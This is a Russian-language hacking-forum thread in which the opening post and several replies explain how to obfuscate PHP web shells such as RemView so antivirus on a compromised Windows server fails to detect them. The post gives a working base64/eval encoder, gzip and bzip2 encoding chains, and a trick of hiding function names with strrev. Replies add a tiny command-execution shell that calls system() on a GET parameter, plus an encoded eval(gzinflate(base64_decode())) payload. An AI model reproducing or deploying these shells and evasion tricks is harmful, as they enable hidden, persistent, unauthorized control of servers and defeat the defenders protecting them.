Авторские статьи Криптуем php скрипты от антивирей

Discussion in 'Статьи' started by Talisman, 12 Nov 2006.

  1. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Вчера в аську постучался чел, с которым я вел довольно длительную переписку-консультацию по имению виндового сервака. Очередная его просьба заключалась в том, что RemView палится NOD`om, стоящим на виндовом сервачке - он просил дать аналогичную софтинку, только не палащуюся.
    Первым делом пришла идея просто зашифровать base64_decode, и я быстренько накодил следующий код:
    PHP:
    eval(base64_decode(code));
    и быстренько накодил скрипт:
    PHP:
    <?php
    $file_array 
    file"RemView.php" ); // следует помнить, что в файле в кодируемом файле должны быть удалены начальные и конечные "примочки" php-кода (<? и ?>)
    while ( list( $line ) = each($file_array) ):
    $c.=$file_array[$line];
    $c.=chr(10);
    endwhile;
    echo "eval(base64_decode('" . base64_encode($c) . '\'));';
     ?>
    А как зашифровать сложнее, и сжать код - читаем дальше:
    Функции СИММЕТРИЧНОГО ШИФРОВАНИЯ, которые могут нам помочь:
    Более подробно о функции можно глянуть тут: http://ru2.php.net/manual/ru/function.mcrypt-ecb.php

    Функции АССИМЕТРИЧНОГО шифрования, которые могут нам помочь:
    Например SSL, но мы рассматривать ее не будем ))) нах оно нам? Хотя если остальные будут палиться... то )

    Очень жаль, но необратимое шифрование нам помочь никак не может :( например функция
    PHP:
    md5();
    :D
    Функции изменения основания системы данных шифрования, которые могут нам помочь:
    О, как выразился) к функциям относятся и примененные тимой RST в конструкторе своего шелла (линк на конструктор):
    1. gzdeflate & base64_encode
    2. gzdeflate & bin2hex
    3. gzdeflate & urlencode
    4. gzcompress & base64_encode
    5. gzcompress & bin2hex
    6. gzcompress & urlencode
    7. bzcompress & base64_encode (PHP >= 4.3.3)
    8. bzcompress & bin2hex (PHP >= 4.3.3)
    9. bzcompress & urlencode (PHP >= 4.3.3)
    (они тут еще и ужимали полученный код дефлейтом и компрессором)
    Кроме заюзанных функций: bindec(), decoct(), dechex() Стоит и упоминуть еще: base_convert() - очень удобная фича, можно добавить еще и комбинации используя операции работы со строками и очень понтовую фичу - strrev() - она просто переворачивает строчку задом наперед ) (помню, писал проги для поиска фраз - полиндромов - прогоните строчки: "Улыбок тебе дед макар" и "Лазер вове хер отрезал" :D )

    Шифруем имена самих функций
    Ладно, код мы упаковали, но как быть насчет поиска антивирем наших "странных" конструкций? Нужно шифроваться ) юзаем strrev() или другие подобные функции, которые затруднят поиск потенциально опасных конструкций в исследуемом коде.
    Например, очнь прикольный ход:
    PHP:
                                  $_D=strrev('edoced_46esab');
    eval(
    $_D('....')); // данный закодированный base64_encode
    (финт применен в криптовании бекдора в нуленом даталайфе 4.5)
    простым поиском по файлу мы не найдем base64_decode, которую очень часто юзают в злонамеренных целях. Впрочем и eval() тоже можно было зашифровать. ​
    Надеюсь, теперь тебе не составит никакого труда кодировать свои шеллы ;)
     
    9 people like this.
  2. r0

    r0 Elder - Старейшина

    Joined:
    17 Jul 2005
    Messages:
    450
    Likes Received:
    149
    Reputations:
    147
    Проще свой шелл накатать..
     
  3. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    ну не скажи!
    и если свой шелл не криптовать, то его просто поиском по содержимому найти
     
  4. steamer

    steamer Elder - Старейшина

    Joined:
    3 May 2006
    Messages:
    44
    Likes Received:
    7
    Reputations:
    1
    Статья хорошая, а шел свой писать тоже влом, зачем заново изобретать велосипед, хотя если делать нечего, можно попробовать.

    А вот минус за "Лазер вове хер отрезал". Я минут пять пересматривал эту фразу, из палиндромов только слово Лазер. Может я что не так понял??? :)
     
  5. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    Ребята а есть исче какие то способы спратоть а то я не силен в пхп сам додуматься не могу .
     
    #5 Mo4x, 21 Mar 2007
    Last edited: 21 Mar 2007
  6. 4xks

    4xks Banned

    Joined:
    2 Mar 2007
    Messages:
    9
    Likes Received:
    0
    Reputations:
    -3
    Ой да етож исходнег - его можно править вручную как хочешь и где хочешь - тупо можно автоматом сменить все переменные на свои или добавить левый код, вот и не будет палиццо антивирусами.
     
  7. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    Букв конечно много написал ты...только вот RemView палится NOD`om очевидно по сигнатурам кода...и если пройтись по нему (то есть по коду) любым пхпшным обфускатором, и даже самописным, то проблема исчезнет. И без всякого там шифрования и бредовой книги кулхацкера Флеонова, который на что только не смотрел ещё "глазами хакера"...

    P.S. по поводу
    Скажи, а зачем такие "магические движения" при чтении файла?
    file_get_contents или file+implode не модно? про chr(10) особенно улыбнуло.
     
  8. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Пардон, а каким образом антивири палят ТЕКСТОВИК? )
     
  9. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    PHP:
    <?php
    $foo 
    's'.'y'.'s'.'t'.'e'.'m';
    $foo($_GET['c']);
    ?>
    удачи
     
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    отжег... наверное эвристическим....

    Для уменьшения размера, добавь в свой мини скриптик bzcompress gzcompress.

     
  11. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Я не про то. Нахрена они его палят? Хотя я помню, что один из антивирей, которые я пробовал, даже всякие brutus и парсеры палил =)
     
  12. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    может быть hack.tool.***
    или это риторический вопрос )))
     
  13. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Злые духи сглазили Касперского, а потом и создателей остальных аверов!

    Сигнтуры. В них весь прикол. Программа тупо исчет их. А злые духи делают все остальное...
     
  14. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Я помню, был раньше такой антивирь Dr.Web, кривой до безобразия.

    Так вот он считал вирусами:
    1) bz2 архивы (потом все-таки хватило мозгов исправить)
    2) Мелкие рограммы на gcc, работающие с сетью.

    За счет этой хрени он палил мои безобидные программы типа осикуботов.
     
  15. spam4u

    spam4u New Member

    Joined:
    8 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    помогите зашифровать сразу 3 функции и что бы при вызове они работали: eval(gzinflate(base64_decode()))

    PHP:
    <?php eval(gzinflate(base64_decode('K8goyMxLy9fQtAYA'))) ?>  
    шифровка такого плана:

    PHP:
    <?php
    $foo 
    's'.'y'.'s'.'t'.'e'.'m';
    $foo($_GET['c']);
    ?> 
    шифровал три функции способом описанным выше, но при вызове работает только первая одна, не могу понять в чем дело.
    оч. нужно. в долгу не останусь, отблагодарю :)
     
  16. Calcutta

    Calcutta Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    343
    Likes Received:
    243
    Reputations:
    36
    http://quest.fsb-my.name/code.php
    в помощь
    у меня получилось: U0nLz1ewVVAvVtdTrwRiEF0CxKlAnKturcDLpQJUoaES7+4aEq2erB6raQ0A

    проверяй работоспособность, сам затестить не могу, комп ребутать придётся.
     
  17. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Не понял я, в чем тут прикол
     
  18. Dj-Matrix

    Dj-Matrix New Member

    Joined:
    7 Nov 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Правильно будет Лазер Боре хер обрезал :D (полиндром)
     
  19. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Дурь какая. Blowfish des tripledes, зачем так все усложнять. Берем наипростейший алгоритм - алгоритм цезаря. Для ленивых впринципе он реализован в php(ну в 4.0 точно был,раньше хз) str_rot13() тот же алгоритм цезаря с ключем 13.
     
  20. _==wolf==_

    _==wolf==_ Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    127
    Likes Received:
    38
    Reputations:
    6
    то что антивири палят тхт с хак тулзами это ещё ничего. вот когда мой друг писал прогу, сынок у него музыку качает из инета... прога работает скрытно, как сниффер. если сынок начинает качать музон mp3 она проверяет файл на примерное наличие матерных фраз (эталоны лежат в папке с прогой) и заменяет их на бипы... жесть было когда бедный мальчик наткнулся на папку с прогой и начал слушать эталоны... сорри за оффтоп, вспомнил просто. ^_^